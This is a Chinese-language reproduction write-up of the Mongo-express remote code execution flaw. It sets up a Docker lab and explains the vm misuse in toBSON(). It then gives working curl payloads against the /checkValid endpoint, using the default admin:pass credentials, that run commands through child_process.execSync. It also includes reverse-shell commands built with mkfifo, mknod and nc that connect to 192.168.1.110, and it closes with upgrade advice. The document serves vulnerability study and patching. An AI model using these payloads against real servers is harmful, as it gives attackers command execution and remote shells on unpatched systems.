0x00 前言
之前曝出了Mongo-express的RCE漏洞,就进行了一次简单的复现,未对漏洞细节进行详细的分析。。。请各位大佬海涵,最后艾特管理员希望能获得一枚wiki账号用于学习。。。 @admin05
0x01 简介
Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面 。
漏洞问题出在lib/bson.js中的toBSON()函数中,由于在非安全环境下滥用vm依赖关系来执行exec命令,从而导致的远程代码执行。
影响范围:
version < 0.54.0
0x02 搭建环境
使用docker镜像搭建MongoDB数据库:
docker run --name mymongo -d mongo:3.2
搭建存在漏洞的Mongo-express并连接到上面的数据库:
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49
(第二次启动:
docker start mymongo
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49
)
以下信息表示运行成功并连接上了MongoDB:
访问http://localhost:8081查看mongo-express管理页面:
0x03 漏洞复现
poc:
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 123 > testfile.txt")'
其中execSync处写入要执行的命令
执行后回显 "Vail" 并且 后台无异常无报错、返回200的HTTP状态码表示POC执行成功:
定位刚刚创建的文件和文件夹:
find -name 文件
0x04 进一步漏洞利用
反弹shell:
(1)在tmp目录下创建一个管道文件 f:
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" mkfifo /tmp/f ")'
(2)cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路:
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" cat /tmp/f | /bin/sh -i 2>%261 | nc 192.168.1.110 666 >/tmp/f ")'
类似反弹shell的方式还有:
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" mknod /tmp/backpipe p ")
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync(" /bin/sh 0</tmp/backpipe | nc 192.168.1.110 666 1>/tmp/backpipe ")'
0x05 修复建议
0.54.0及以上的版本删除了使用vm的全部代码,所以建议尽快升级至0.54.0以上版本,并且修改默认账号和密码:admin/pass。